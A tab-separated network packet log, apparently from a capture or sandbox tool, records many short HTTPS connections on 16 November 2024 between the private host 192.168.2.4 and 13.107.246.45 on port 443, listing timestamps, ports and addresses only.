Nov 16, 2024 04:34:11.431246996 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.432120085 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.432159901 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.432646036 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.432707071 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.521902084 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.521980047 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.522121906 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.522298098 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.522299051 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.522641897 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.522641897 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.522721052 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.522754908 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.525371075 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.525459051 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.525703907 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.525705099 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.525831938 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.537738085 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.538495064 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.538552999 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.539053917 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.539105892 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.564323902 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.564488888 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.564675093 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.564675093 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.564675093 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.566178083 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.567270041 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.567390919 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.567486048 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.567611933 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.567646027 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.567692041 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.567713976 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.568061113 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.568074942 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.665999889 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.666156054 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.666397095 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.666397095 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.666397095 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.668802977 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.668884993 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.668986082 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.669151068 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.669173956 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.704462051 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.704616070 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.704767942 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.704808950 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.704808950 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.704828978 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.704845905 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.707640886 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.707684040 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.707770109 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.707935095 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.707962036 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.876707077 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.876770973 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:11.969297886 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:11.969361067 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.280968904 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.293448925 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.334466934 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.334563017 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.384042978 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.384095907 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.384960890 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.384980917 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.386200905 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.386234045 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.386953115 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.386965036 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.404669046 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.412488937 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.412547112 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.413317919 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.413330078 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.437941074 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.466300964 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.466386080 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.466851950 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.466867924 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.512449026 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.512610912 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.512689114 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.513127089 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.513175964 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.513206005 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.513222933 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.517517090 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.517606020 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.517679930 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.518064976 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.518099070 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.520068884 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.520225048 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.520297050 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.520354033 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.520385027 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.520411968 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.520426035 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.522614956 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.522697926 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.522773981 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.522999048 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.523030996 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.539700985 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.539840937 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.539907932 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.539959908 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.539959908 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.539984941 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.540009022 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.544253111 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.544284105 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.544344902 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.544841051 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.544874907 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.632849932 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.632951021 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.633014917 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.633141994 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.633162975 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.633205891 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.633212090 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.636074066 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.636157036 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.636315107 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.636456013 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.636485100 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.820391893 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.820960999 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.821022034 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.821495056 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.821508884 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.950103998 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.950267076 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.950351954 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.950536966 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.950536966 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.950556040 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.950572968 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.953665972 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.953686953 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:12.953763008 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.953915119 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:12.953922987 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.248266935 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.249181032 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.249259949 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.249650955 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.249705076 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.262464046 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.263170958 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.263247967 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.263626099 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.263639927 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.290399075 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.290873051 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.290946960 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.291372061 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.291385889 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.374193907 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.374349117 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.374438047 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.374521017 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.374568939 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.374614000 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.374629021 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.377829075 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.377898932 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.377975941 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.378258944 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.378279924 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.380121946 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.380494118 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.380533934 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.381191015 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.381205082 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.397320986 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.397511959 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.397576094 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.397623062 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.397644997 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.397658110 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.397665024 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.399941921 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.399991989 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.400053978 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.400149107 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.400158882 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.423759937 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.423827887 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.423885107 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.423908949 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.423940897 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.423991919 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.424035072 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.424051046 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.424073935 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.424083948 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.426271915 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.426301956 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.426388979 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.426512957 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.426523924 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.511039972 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.511209011 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.511308908 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.511441946 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.511441946 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.511485100 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.511516094 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.513364077 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.513461113 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.513550043 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.513655901 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.513676882 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.729545116 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.730057001 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.730130911 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.730623007 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.730643988 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.865221024 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.865294933 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.865381002 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.865401030 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.865464926 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.865612030 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.865659952 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.865688086 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.865704060 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.868865013 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.868899107 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:13.869010925 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.869160891 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:13.869168997 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.160553932 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.161184072 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.161205053 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.161765099 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.161768913 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.173204899 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.173679113 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.173700094 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.173949003 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.174283028 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.174355984 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.174364090 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.174381971 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.174819946 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.174835920 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.249006987 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.249711990 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.249773026 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.250197887 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.250211954 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.290529966 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.290683031 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.290759087 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.290934086 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.290946960 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.290987968 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.290994883 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.294828892 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.294926882 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.295027971 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.295615911 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.295653105 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.304446936 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.304594994 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.304682970 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.304682970 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.304738998 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.304760933 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.307976007 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.308062077 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.308151007 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.308315992 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.308348894 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.308837891 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.308995008 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.309073925 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.309158087 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.309199095 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.309236050 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.309252024 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.312525988 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.312563896 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.312629938 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.312788010 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.312805891 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.377922058 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.377990961 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.378062963 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.378125906 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.378164053 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.378218889 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.378309965 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.378346920 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.378372908 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.378387928 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.382013083 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.382066011 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.382160902 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.382329941 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.382344007 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.598572016 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.640290976 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.640336990 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.640825033 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.640830040 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.765571117 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.765871048 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.766001940 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.766237020 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.766256094 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.766268015 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.766273022 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.769351959 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.769393921 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:14.769576073 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.769650936 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:14.769658089 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.219331026 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.220230103 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.223201990 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.223501921 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.223587990 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.223604918 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.223683119 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.223814011 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.223829031 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:15.224169970 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:15.224195957 CET	443	49948	13.107.246.45	192.168.2.4
